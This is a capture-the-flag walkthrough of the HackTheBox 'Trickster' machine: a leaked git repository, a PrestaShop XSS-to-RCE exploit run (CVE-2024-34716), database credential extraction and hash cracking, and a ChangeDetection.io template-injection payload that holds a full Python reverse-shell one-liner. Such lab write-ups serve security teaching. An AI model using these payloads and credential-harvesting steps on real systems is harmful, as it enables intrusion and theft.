Trickster – HackTheBox Link to heading
- OS: Linux
- Difficulty: Medium
- Platform: HackTheBox
Summary Link to heading
“Trickster” is a medium Linux
machine from HackTheBox
. The victim machine is running a web server that is exposing a git
repository. This repository leaks the path of an internal site running PrestaShop
with a version vulnerable to Cross-Site Scripting
that leads to Remote Code Execution
through a vulnerability labeled as CVE-2024-34716. Once inside the victim machine, we are also able to find some credentials in the configuration files of service, pivoting to a new user. After inspecting the internal networks of the machine, we note that the machine is running a Docker
container. After scanning open ports of the Docker
container, and after creating a tunnel through a Local Port Forwarding
, we are able to access to an internal site the container was running. This internal site of the container is running ChangeDetection.io
and is recycling credentials from the previous user we have found. This service is vulnerable to Server-Side Template Injection
thanks to a vulnerability labeled as CVE-2024-32651, which allow us to gain access to the Docker
container as root
. We are able to find some Brotli
files in the container that contains the credentials for a new user, allowing us to pivot to this new user. This new user can run PrusaSlicer
with sudo
. Abusing a vulnerability labeled as CVE-2023-47268, we are able to create a malicious file and execute commands as a privileged user; taking total control of the system.
User Link to heading
Starting with an Nmap
scan shows only 2 ports open: 22
SSH
and 80
HTTP
:
❯ sudo nmap -sVC -p22,80 10.10.11.34
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 23:14 -03
Nmap scan report for 10.10.11.34
Host is up (0.29s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 8c:01:0e:7b:b4:da:b7:2f:bb:2f:d3:a3:8c:a6:6d:87 (ECDSA)
|_ 256 90:c6:f3:d8:3f:96:99:94:69:fe:d3:72:cb:fe:6c:c5 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://trickster.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: _; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.97 seconds
From the output we can see a domain for HTTP
site: trickster.htb
. We add this domain to our /etc/hosts
file:
❯ echo '10.10.11.34 trickster.htb' | sudo tee -a /etc/hosts
Visiting http://trickster.htb
shows a shopping website:
Many of the items in the page don’t work. However, if we click on SHOP
button it redirects to http://shop.trickster.htb
. We add this new subdomain to our /etc/hosts
file, so now it looks like:
❯ tail -n 1 /etc/hosts
10.10.11.34 trickster.htb shop.trickster.htb
Visiting http://shop.trickster.htb
shows the products of the shop:
We create an account in shop.trickster.htb
site. But we were not able to see interesting info.
After inspecting the page, at the very bottom we have a message (and an email admin@trickster.htb
):
© 2024 - Ecommerce software by PrestaShop™
It is running PrestaShop
.
Visiting its page shows the following info:
PrestaShop
project is a universal open-source software platform to build your e-commerce solution.PHP
.Searching for vulnerabilities for PrestaShop
in MITRE returns many vulnerabilities. Among them we find some SQL Injection
; which is a blind SQL Injection, but did not worked.
We search for hidden directories through a Brute Force Directory Listing
with Gobuster
. After attempting some dictionaries for directories, raft-small-word.txt from SecLists
works:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -u http://shop.trickster.htb -t 55 --exclude-length 283
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://shop.trickster.htb
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes: 404
[+] Exclude Length: 283
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.git (Status: 301) [Size: 323] [--> http://shop.trickster.htb/.git/]
Progress: 43007 / 43008 (100.00%)
===============================================================
Finished
===============================================================
We find a .git
directory.
We can inspect the site with cURL
and html2text
:
❯ curl -s http://shop.trickster.htb/.git/ | html2text
****** Index of /.git ******
`ICO` Name Last modified Size Description
===========================================================================
`PARENTDIR` Parent Directory -
` ` COMMIT_EDITMSG 2024-05-25 19:25 20
` ` HEAD 2024-05-25 19:25 28
`DIR` branches/ 2024-09-13 12:24 -
` ` config 2024-05-25 19:25 112
` ` description 2024-05-25 19:25 73
`DIR` hooks/ 2024-09-13 12:24 -
` ` index 2024-05-25 19:25 246K
`DIR` info/ 2024-09-13 12:24 -
`DIR` logs/ 2024-09-13 12:24 -
`DIR` objects/ 2024-09-13 12:24 -
`DIR` refs/ 2024-09-13 12:24 -
===========================================================================
Apache/2.4.52 (Ubuntu) Server at shop.trickster.htb Port 80
It has the typical Git
structure.
We can extract all the content of this .git
directory with git-dumper
(installable with pip3 install git-dumper
) and the execute it:
❯ git-dumper http://shop.trickster.htb/.git/ ./git_content
[-] Testing http://shop.trickster.htb/.git/HEAD [200]
[-] Testing http://shop.trickster.htb/.git/ [200]
[-] Fetching .git recursively
<SNIP>
[-] Fetching http://shop.trickster.htb/.git/objects/ff/e5907b2f3ab36bf687d1f5a52448da5caf0f37 [200]
[-] Running git checkout .
Updated 1699 paths from the index
Entering into the directory where we have saved the project (in my case named git_content
) shows the whole project in a branch named admin_panel
. Checking the logs show:
❯ git log
commit 0cbc7831c1104f1fb0948ba46f75f1666e18e64c (HEAD -> admin_panel)
Author: adam <adam@trickster.htb>
Date: Fri May 24 04:13:19 2024 -0400
update admin pannel
We have only 1 commit that starts with 0cbc
.
We can check its content:
❯ git show 0cbc7831c1104f1fb0948ba46f75f1666e18e64c
<SNIP>
+ cd themes/classic/_dev && npm run lint-fix
+ cd themes && npm run lint-fix
diff --git a/admin634ewutrx1jgitlooaj/.htaccess b/admin634ewutrx1jgitlooaj/.htaccess
new file mode 100644
index 0000000..f0eb434
--- /dev/null
+++ b/admin634ewutrx1jgitlooaj/.htaccess
@@ -0,0 +1,75 @@
+# Use the front controller as index file. It serves as a fallback solution when
+# every other rewrite/redirect fails (e.g. in an aliased environment without
<SNIP>
There is a directory named admin634ewutrx1jgitlooaj
.
Additionally, if we get into the directory we have dumped the project and check the directories we get:
❯ cd git_content
❯ ls -la
total 232
drwxrwxr-x 4 gunzf0x gunzf0x 4096 Nov 8 23:49 .
drwxrwxr-x 3 gunzf0x gunzf0x 4096 Nov 8 23:47 ..
drwxrwxr-x 8 gunzf0x gunzf0x 4096 Nov 8 23:49 admin634ewutrx1jgitlooaj
-rw-rw-r-- 1 gunzf0x gunzf0x 1305 Nov 8 23:49 autoload.php
-rw-rw-r-- 1 gunzf0x gunzf0x 2506 Nov 8 23:49 error500.html
drwxrwxr-x 7 gunzf0x gunzf0x 4096 Nov 8 23:50 .git
-rw-rw-r-- 1 gunzf0x gunzf0x 1169 Nov 8 23:49 index.php
-rw-rw-r-- 1 gunzf0x gunzf0x 1256 Nov 8 23:49 init.php
-rw-rw-r-- 1 gunzf0x gunzf0x 522 Nov 8 23:49 Install_PrestaShop.html
-rw-rw-r-- 1 gunzf0x gunzf0x 5054 Nov 8 23:49 INSTALL.txt
-rw-rw-r-- 1 gunzf0x gunzf0x 183862 Nov 8 23:49 LICENSES
-rw-rw-r-- 1 gunzf0x gunzf0x 863 Nov 8 23:49 Makefile
-rw-rw-r-- 1 gunzf0x gunzf0x 1538 Nov 8 23:49 .php-cs-fixer.dist.php
We have, as expected, files for the e-commerce shop.
We check if, for example, autoload.php
or error500.html
exists on http://shop.trickster.htb
site:
❯ curl -s -I http://shop.trickster.htb/autoload.php
HTTP/1.1 200 OK
Date: Sat, 09 Nov 2024 03:04:27 GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Type: text/html; charset=UTF-8
❯ curl -s -I http://shop.trickster.htb/error500.html
HTTP/1.1 200 OK
Date: Sat, 09 Nov 2024 03:04:33 GMT
Server: Apache/2.4.52 (Ubuntu)
Last-Modified: Thu, 07 Mar 2024 17:29:12 GMT
ETag: "9ca-6131569e32a00"
Accept-Ranges: bytes
Content-Length: 2506
Vary: Accept-Encoding
Content-Type: text/html
In both cases, the directories found and with git show
, we have a directory called admin634ewutrx1jgitlooaj
, as we can check with cURL
as well:
❯ curl -s -I http://shop.trickster.htb/admin634ewutrx1jgitlooaj/
HTTP/1.1 302 Found
Date: Sat, 09 Nov 2024 03:05:53 GMT
Server: Apache/2.4.52 (Ubuntu)
Set-Cookie: PrestaShop-b26457d332464d080116ccd6404a41a9=0; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/; domain=shop.trickster.htb; HttpOnly; SameSite=Lax
Set-Cookie: PrestaShop-b26457d332464d080116ccd6404a41a9=def502004e702e3085f8821b2f9579426d0bf2725eb43a2b7f75ba7e998c2b5a9d7692d2e372e9720ae53148de423f765580cbbab519744b788bfb310e80cd247507b1b4fe5e348c8fa912b9f4b0109054638afaeecd984214488b53c3bdacccd1f41bccc9d06d513abfd70af897e65974ebf169fa6a2a80a6ac22a9bafcfbdfcc50d052012b4e064c9150502116e13051af2219f0b57d408967764146; expires=Fri, 29-Nov-2024 03:05:53 GMT; Max-Age=1728000; path=/; domain=shop.trickster.htb; HttpOnly; SameSite=Lax
Set-Cookie: PHPSESSID=c20i2altik861p84qd49r834lt; expires=Sun, 08-Oct-2079 06:11:46 GMT; Max-Age=1732849553; path=/; HttpOnly; SameSite=Lax
Location: http://shop.trickster.htb/admin634ewutrx1jgitlooaj/index.php?controller=AdminLogin&token=be9a5cdf914b6e841e76eaf7f3c4e5af
Content-Type: text/html; charset=utf-8
Visiting http://shop.trickster.htb/admin634ewutrx1jgitlooaj/
shows a new login panel:
One of the vulnerabilities previously found in MITRE was CVE-2024-34716 which is a Cross Site Scripting
(XSS
) vulnerability for version prior to 8.1.6
. Since the login panel shows version 8.1.5
, this version should be vulnerable. This blog explains the vulnerability in more depth, and shows how a XSS
can derive into Remote Code Execution
(RCE
). The same author has created this Github repository with the exploit for this vulnerability. We will clone the repository, create a virtual environment, activate it, install all the dependencies inside it and run the script. As contact email parameter we provide the mail found at the shop page (admin@trickster.htb
):
❯ cd CVE-2024-34716
❯ python3 -m venv .venv_CVE
❯ source .venv_CVE/bin/activate
❯ pip3 install -r requirements.txt
<SNIP>
❯ python3 exploit.py --url http://shop.trickster.htb --admin-path 'admin634ewutrx1jgitlooaj' --email 'admin@trickster.htb' --local-ip 10.10.16.3
<SNIP>
FileNotFoundError: [Errno 2] No such file or directory: 'ncat'
We got an error. The program cannot find ncat
binary. For some reason the author of the exploit decided to name ncat
the netcat
binary. In my case I always call it as nc
, so just replace the text in line:
❯ grep -n 'ncat' exploit.py
121: output = subprocess.call(["ncat", "-lnvp", "12345"], shell=False)
From ncat
to nc
.
We run again the exploit:
❯ python3 exploit.py --url http://shop.trickster.htb --admin-path 'admin634ewutrx1jgitlooaj' --email 'admin@trickster.htb' --local-ip 10.10.16.3
[X] Starting exploit with:
Url: http://shop.trickster.htb
Email: admin@trickster.htb
Local IP: 10.10.16.3
Admin Path: admin634ewutrx1jgitlooaj
Serving at http.Server on port 5000
[X] Ncat is now listening on port 12345. Press Ctrl+C to terminate.
listening on [any] 12345 ...
GET request to http://shop.trickster.htb/themes/next/reverse_shell_new.php: 403
<SNIP>
Request: GET /ps_next_8_theme_malicious.zip HTTP/1.1
Response: 200 -
10.10.11.34 - - [09/Nov/2024 00:28:28] "GET /ps_next_8_theme_malicious.zip HTTP/1.1" 200 -
GET request to http://shop.trickster.htb/themes/next/reverse_shell_new.php: 403
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.34] 44162
Linux trickster 5.15.0-121-generic #131-Ubuntu SMP Fri Aug 9 08:29:53 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
03:28:46 up 1:20, 0 users, load average: 0.02, 0.09, 0.15
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ www-data
We get a shell as www-data
user.
At /var/www
we have a directory named prestashop
. Based on PrestaShop documentation we should have a directory named config
, where all the needed config files are:
www-data@trickster:~/prestashop$ ls -la config
total 108
drwxr-xr-x 5 www-data www-data 4096 Sep 13 12:24 .
drwxr-xr-x 28 www-data www-data 4096 Sep 17 18:07 ..
-rwxr-xr-x 1 www-data www-data 170 Mar 7 2024 .htaccess
-rwxr-xr-x 1 www-data www-data 2057 Mar 7 2024 alias.php
-rwxr-xr-x 1 www-data www-data 1378 Mar 7 2024 autoload.php
-rwxr-xr-x 1 www-data www-data 6177 Mar 7 2024 bootstrap.php
-rwxr-xr-x 1 www-data www-data 11654 Mar 7 2024 config.inc.php
-rwxr-xr-x 1 www-data www-data 1337 Mar 7 2024 db_slave_server.inc.php
-rwxr-xr-x 1 www-data www-data 7749 Mar 8 2024 defines.inc.php
-rwxr-xr-x 1 www-data www-data 3303 Mar 7 2024 defines_uri.inc.php
-rwxr-xr-x 1 www-data www-data 1369 Mar 7 2024 index.php
drwxr-xr-x 5 www-data www-data 4096 Sep 13 12:24 services
-rw-r--r-- 1 www-data www-data 23 May 25 19:09 settings.inc.php
-rwxr-xr-x 1 www-data www-data 8869 Mar 7 2024 smarty.config.inc.php
-rwxr-xr-x 1 www-data www-data 6008 Mar 7 2024 smartyadmin.config.inc.php
-rwxr-xr-x 1 www-data www-data 9503 Mar 7 2024 smartyfront.config.inc.php
drwxr-xr-x 4 www-data www-data 4096 Sep 13 12:24 themes
drwxr-xr-x 3 www-data www-data 4096 Sep 13 12:24 xml
Checking config.inc.php
shows:
<SNIP>
/* No settings file? goto installer... */
if (!file_exists(_PS_ROOT_DIR_ . '/app/config/parameters.yml') && !file_exists(_PS_ROOT_DIR_ . '/app/config/parameters.php')) {
Tools::redirectToInstall();
}
<SNIP>
We have two interesting files to check /app/config/parameters.yml
and /app/config/parameters.php
. We then go to /var/www/prestashop/app
and check these files:
www-data@trickster:~/prestashop/app/config$ ls -la
total 92
drwxr-xr-x 4 www-data www-data 4096 Sep 13 12:24 .
drwxr-xr-x 5 www-data www-data 4096 Sep 13 12:24 ..
drwxr-xr-x 2 www-data www-data 4096 Sep 13 12:24 addons
drwxr-xr-x 2 www-data www-data 4096 Sep 13 12:24 api_platform
-rwxr-xr-x 1 www-data www-data 3421 Mar 7 2024 config.yml
<SNIP>
-rw-r--r-- 1 www-data www-data 3197 May 25 19:09 parameters.php
-rw-r--r-- 1 www-data www-data 11 May 25 19:09 parameters.yml
<SNIP>
Reading parameters.php
we get:
<?php return array (
'parameters' =>
array (
'database_host' => '127.0.0.1',
'database_port' => '',
'database_name' => 'prestashop',
'database_user' => 'ps_user',
'database_password' => 'prest@shop_o',
'database_prefix' => 'ps_',
'database_engine' => 'InnoDB',
'mailer_transport' => 'smtp',
'mailer_host' => '127.0.0.1',
'mailer_user' => NULL,
'mailer_password' => NULL,
'secret' => 'eHPDO7bBZPjXWbv3oSLIpkn5XxPvcvzt7ibaHTgWhTBM3e7S9kbeB1TPemtIgzog',
'ps_caching' => 'CacheMemcache',
<SNIP>
We have credentials for a database.
Checking internal ports open, we can see that port 3306
is open:
www-data@trickster:~/prestashop/app/config$ ss -nltp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:42981 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
So I assume it is using MySQL
as database (since 3306
is its default port).
We enter in the database:
www-data@trickster:~/prestashop/app/config$ mysql -u ps_user -p'prest@shop_o' -h 127.0.0.1 prestashop
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 2257
Server version: 10.6.18-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [prestashop]>
And search for info. Eventually we get ps_employee
table at prestashop
database:
MariaDB [prestashop]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| prestashop |
+--------------------+
2 rows in set (0.001 sec)
MariaDB [prestashop]> use prestashop;
Database changed
We find in this database:
MariaDB [prestashop]> select id_employee,firstname,lastname,email,passwd from ps_employee;
+-------------+-----------+----------+---------------------+--------------------------------------------------------------+
| id_employee | firstname | lastname | email | passwd |
+-------------+-----------+----------+---------------------+--------------------------------------------------------------+
| 1 | Trickster | Store | admin@trickster.htb | $2y$10$P8wO3jruKKpvKRgWP6o7o.rojbDoABG9StPUt0dR7LIeK26RdlB/C |
| 2 | james | james | james@trickster.htb | $2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm |
+-------------+-----------+----------+---------------------+--------------------------------------------------------------+
2 rows in set (0.000 sec)
We get hashes for users admin
and james
.
We save both hashes into our attacker machine and attempt to crack it through a Brute Force Password Cracking
with JohnTheRipper
(john
):
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hashes_found
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Loaded hashes with cost 1 (iteration count) varying from 16 to 1024
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
alwaysandforever (?)
Use the "--show" option to display all of the cracked passwords reliably
We have a password alwaysandforever
.
We check existent users into the victim machine:
www-data@trickster:~/prestashop/app/config$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
james:x:1000:1000:trickster:/home/james:/bin/bash
adam:x:1002:1002::/home/adam:/bin/bash
runner:x:1003:1003::/home/runner:/bin/sh
Since james
user was in the database, we check if this password works for james
user in SSH
with NetExec
tool:
❯ nxc ssh 10.10.11.34 -u 'james' -p 'alwaysandforever'
SSH 10.10.11.34 22 10.10.11.34 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH 10.10.11.34 22 10.10.11.34 [+] james:alwaysandforever Linux - Shell access!
They work! We can then log via SSH
into the victim machine with these credentials:
❯ sshpass -p 'alwaysandforever' ssh -o stricthostkeychecking=no james@10.10.11.34
Warning: Permanently added '10.10.11.34' (ED25519) to the list of known hosts.
Last login: Thu Sep 26 11:13:01 2024 from 10.10.14.41
james@trickster:~$ whoami
james
We can finally get user flag.
Root Link to heading
Checking net interfaces in the box shows the machine is running a Docker
container:
james@trickster:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:94:ce:84 brd ff:ff:ff:ff:ff:ff
altname enp3s0
altname ens160
inet 10.10.11.34/23 brd 10.10.11.255 scope global eth0
valid_lft forever preferred_lft forever
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:a9:31:d0:dc brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
17: veth05fe97a@if16: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default
link/ether ee:84:d4:10:36:9c brd ff:ff:ff:ff:ff:ff link-netnsid 0
Usually, 172.17.0.1
is the IP address of the host machine in the Docker
network and 172.17.0.2
should be the IP address of another containers running internally.
We check if 172.17.0.2
responds with a simple ping
:
james@trickster:~$ ping -c1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.054 ms
--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.054/0.054/0.054/0.000 ms
We can also check processes being executed on the machine with ps
:
james@trickster:~$ ps aux | grep 'container'
root 1283 0.1 1.1 1801044 47244 ? Ssl 02:08 0:08 /usr/bin/containerd
root 1432 0.0 1.9 1977936 77032 ? Ssl 02:08 0:01 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root 12594 0.0 0.3 1238656 12860 ? Sl 04:00 0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id a4b9a36ae7ffc48c2b451ead77f93a8572869906f386773c3de528ca950295cd -address /run/containerd/containerd.sock
james 13313 0.0 0.0 6612 2304 pts/1 S+ 04:07 0:00 grep --color=auto container
We cannot do much on the container itself since our current user is not in docker
group:
james@trickster:~$ id
uid=1000(james) gid=1000(james) groups=1000(james)
james@trickster:~$ docker images
permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/images/json": dial unix /var/run/docker.sock: connect: permission denied
To check TCP
ports open in the Docker
container I will use this Bash script to scan ports I have made some time ago. I have made this script in such a way it uses threads so the scan is not so slow. Just copy the code, open a text editor like Vim
or nano
in the victim machine and save it; in my case I will save this as portScanner.sh
. Remember to assign to it execution permissions:
james@trickster:~$ vim /tmp/portScanner.sh
james@trickster:~$ chmod +x /tmp/portScanner.sh
james@trickster:~$ bash /tmp/portScanner.sh
Usage: /tmp/portScanner.sh <IP_ADDRESS> <START_PORT> <END_PORT> <THREADS>
We will scan the first 10 000 ports (from 1 to 10 000) using 10 threads:
james@trickster:~$ bash /tmp/portScanner.sh 172.17.0.2 1 10000 10
[+] Port 5000 is open
Port 5000
is open in the container.
We check if this port is actually some kind of webpage using cURL
:
james@trickster:~$ curl -s http://172.17.0.2:5000
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/login?next=/">/login?next=/</a>. If not, click the link.
It seems to be since we get a HTML
response.
Since we have connection through SSH
I will logout from the current SSH
session and re-connect to the victim machine, but this time establishing a tunnel. I will convert port 5000
from 172.17.0.2
container into my port 5000
(attacker machine):
❯ sshpass -p 'alwaysandforever' ssh -o stricthostkeychecking=no -L 5000:172.17.0.2:5000 james@10.10.11.34
www-data
user, we used the payload/exploit from the Github repository remember it uses port 5000
to start a Python
HTTP
temporal server. You have to kill the connection and stop the script from www-data
before doing this connection or the port will be occupied and we will not be able to use our port 5000
.We can now see a new webpage:
The site is running ChangeDetection.io
:
ChangeDetection.io
is an open-source tool for website change detection. It is capable of monitoring HTML
and JSON
files and can send various types of notifications when a change is detected.We can see a version for it at the right side 0.45.20
.
Before searching for exploits, we use the only password we have found so far: alwaysandforever
. This password works. We are inside:
Searching for vulnerabilities for this version we find this blog that explains how to exploit the vulnerability CVE-2024-32651, but we will slightly change some things. In short, the application is vulnerable to Server-Side Template Injection
(SSTI
) and we are able to execute commands.
First, we add our victim machine to detection methods. In Add a new change detection watch
we add our victim machine IP address 172.17.0.1:8000
(in the Docker
net interface) and click on Watch
. We will set the HTTP
server on port 8000
. It should be added at the end of the page.:
Then, go to Settings -> Notifications
and add as notification post://172.17.0.1:8000
(if you want to use other protocols check the official documentation and this page). This will tell ChangeDetection.io
to send the notification through a POST
request to the IP address 172.17.0.1
on port 8000
. Additionally, in the notification body we put the payload:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Click on Save
at the bottom of the page.
Next, we grab a copy of a Python
script I made some time ago from my Github repository that is basically a Python
HTTP
temporal server that accepts POST
method (if we use python3 -m http.server
it only accepts GET
method). I do this since I want to see the output sent to us (and that’s why I am using POST
instead of GET
method). We can also use netcat
(that is already installed on the victim machine).
james@trickster:~$ python3 post_http_server.py -p 8000
[+] Server started on port 8000...
Back to the Settings -> Notification
page, click on Send test notification
. We get something in our listener:
james@trickster:~$ python3 /tmp/post_http_server.py -p 8000
[+] Server started on port 8000...
[+] Received POST data:
uid=0(root) gid=0(root) groups=0(root)
This seems to work.
We then add the payload:
{{ self.__init__.__globals__.__builtins__.__import__('os').system('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")\'') }}
where 172.17.0.1
is the victim machine in the Docker
interface (not our attacker IP) and 4444
a port I will start listening with netcat
. Click on Save
at the bottom of the page.
Log in a new session through SSH
into the victim machine and start a listener with netcat
on port 4444
on the victim machine as well. We go back to the Settings
page and click on Send test notification
again. We get a shell as root
user in the container:
james@trickster:~$ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 172.17.0.2 46098
# whoami
whoami
root
Checking /
directory in the container shows an unusual directory named datastore
:
# ls -la /
ls -la /
total 72
drwxr-xr-x 1 root root 4096 Sep 26 11:03 .
drwxr-xr-x 1 root root 4096 Sep 26 11:03 ..
-rwxr-xr-x 1 root root 0 Sep 26 11:03 .dockerenv
<SNIP>
drwxr-xr-x 2 root root 4096 Sep 13 12:24 boot
drwxr-xr-x 6 root root 4096 Nov 9 07:07 datastore
drwxr-xr-x 5 root root 340 Nov 9 07:00 dev
<SNIP>
We can see a Backups
directory and a couple of .zip
files:
root@a4b9a36ae7ff:/datastore/Backups# ls -la
total 52
drwxr-xr-x 2 root root 4096 Aug 31 08:56 .
drwxr-xr-x 6 root root 4096 Nov 9 07:10 ..
-rw-r--r-- 1 root root 6221 Aug 31 08:53 changedetection-backup-20240830194841.zip
-rw-r--r-- 1 root root 33708 Aug 30 20:25 changedetection-backup-20240830202524.zip
Expose both files setting another Python
HTTP
server on port 8080
in the Docker
container:
root@a4b9a36ae7ff:/datastore/Backups# ls -la && python3 -m http.server 8080
total 52
drwxr-xr-x 2 root root 4096 Aug 31 08:56 .
drwxr-xr-x 6 root root 4096 Nov 9 07:11 ..
-rw-r--r-- 1 root root 6221 Aug 31 08:53 changedetection-backup-20240830194841.zip
-rw-r--r-- 1 root root 33708 Aug 30 20:25 changedetection-backup-20240830202524.zip
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
and download them into the victim machine:
james@trickster:~$ wget http://172.17.0.2:8080/changedetection-backup-20240830194841.zip -O /tmp/backup_1.zip -q
james@trickster:~$ wget http://172.17.0.2:8080/changedetection-backup-20240830202524.zip -O /tmp/backup_2.zip -q
We decompress the files:
james@trickster:/tmp$ mkdir backup_1
james@trickster:/tmp$ mv backup_1.zip backup_1
james@trickster:/tmp$ cd !$
cd backup_1
james@trickster:/tmp/backup_1$ unzip backup_1
Archive: backup_1.zip
creating: b4a8b52d-651b-44bc-bbc6-f9e8c6590103/
extracting: b4a8b52d-651b-44bc-bbc6-f9e8c6590103/f04f0732f120c0cc84a993ad99decb2c.txt.br
extracting: b4a8b52d-651b-44bc-bbc6-f9e8c6590103/history.txt
inflating: secret.txt
inflating: url-list.txt
inflating: url-list-with-tags.txt
inflating: url-watches.json
We have .txt.br
files. If we try to read them they don’t show clear data.
Searching for .txt.br
extension we get:
BR
file is a compressed web file generated by applying the open source data compression algorithm, Brotli
. It is used to store webpage assets such as stylesheets (CSS
), images (SVG
), XML
, and scripting files (JavaScript
). Modern day websites, such as Chrome
and Firefox
, use BR
files to reduce the page loading time, resulting in better user experience.We pass all the .txt.br
files found at the backup files to our attacker machine. We also need to install Brotli
into our attacker machine (sudo apt install brotli
for Kali
) and extract its content:
❯ brotli -d ba1fe8fcfb743ba16a136d805c38328f.txt.br
❯ brotli -d dd25d6c8b666e21ac6e596faa4d4a93d.txt.br
❯ brotli -d f04f0732f120c0cc84a993ad99decb2c.txt.br
❯ ls -la
total 172
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Nov 9 04:32 .
drwxrwxr-x 4 gunzf0x gunzf0x 4096 Nov 9 04:32 ..
-rw-rw-r-- 1 gunzf0x gunzf0x 96065 Aug 30 16:21 ba1fe8fcfb743ba16a136d805c38328f.txt
-rw-rw-r-- 1 gunzf0x gunzf0x 28498 Aug 30 16:21 ba1fe8fcfb743ba16a136d805c38328f.txt.br
-rw-rw-r-- 1 gunzf0x gunzf0x 17676 Aug 30 16:21 dd25d6c8b666e21ac6e596faa4d4a93d.txt
-rw-rw-r-- 1 gunzf0x gunzf0x 1679 Aug 30 16:21 dd25d6c8b666e21ac6e596faa4d4a93d.txt.br
-rw-rw-r-- 1 gunzf0x gunzf0x 11866 Aug 30 19:47 f04f0732f120c0cc84a993ad99decb2c.txt
-rw-rw-r-- 1 gunzf0x gunzf0x 2605 Aug 30 19:47 f04f0732f120c0cc84a993ad99decb2c.txt.br
One of the extracted files shows an interesting content:
❯ cat f04f0732f120c0cc84a993ad99decb2c.txt
<SNIP>
'database_name' => 'prestashop' ,
'database_user' => 'adam' ,
'database_password' => 'adam_admin992' ,
'database_prefix' => 'ps_'
<SNIP>
adam
was another user present in the machine.
We check if this password works for adam
user with NetExec
:
❯ nxc ssh 10.10.11.34 -u 'adam' -p 'adam_admin992'
SSH 10.10.11.34 22 10.10.11.34 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH 10.10.11.34 22 10.10.11.34 [+] adam:adam_admin992 Linux - Shell access!
and log in via SSH
:
❯ sshpass -p 'adam_admin992' ssh -o stricthostkeychecking=no adam@10.10.11.34
adam@trickster:~$
We check what can this user run with sudo
:
adam@trickster:~$ sudo -l
Matching Defaults entries for adam on trickster:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User adam may run the following commands on trickster:
(ALL) NOPASSWD: /opt/PrusaSlicer/prusaslicer
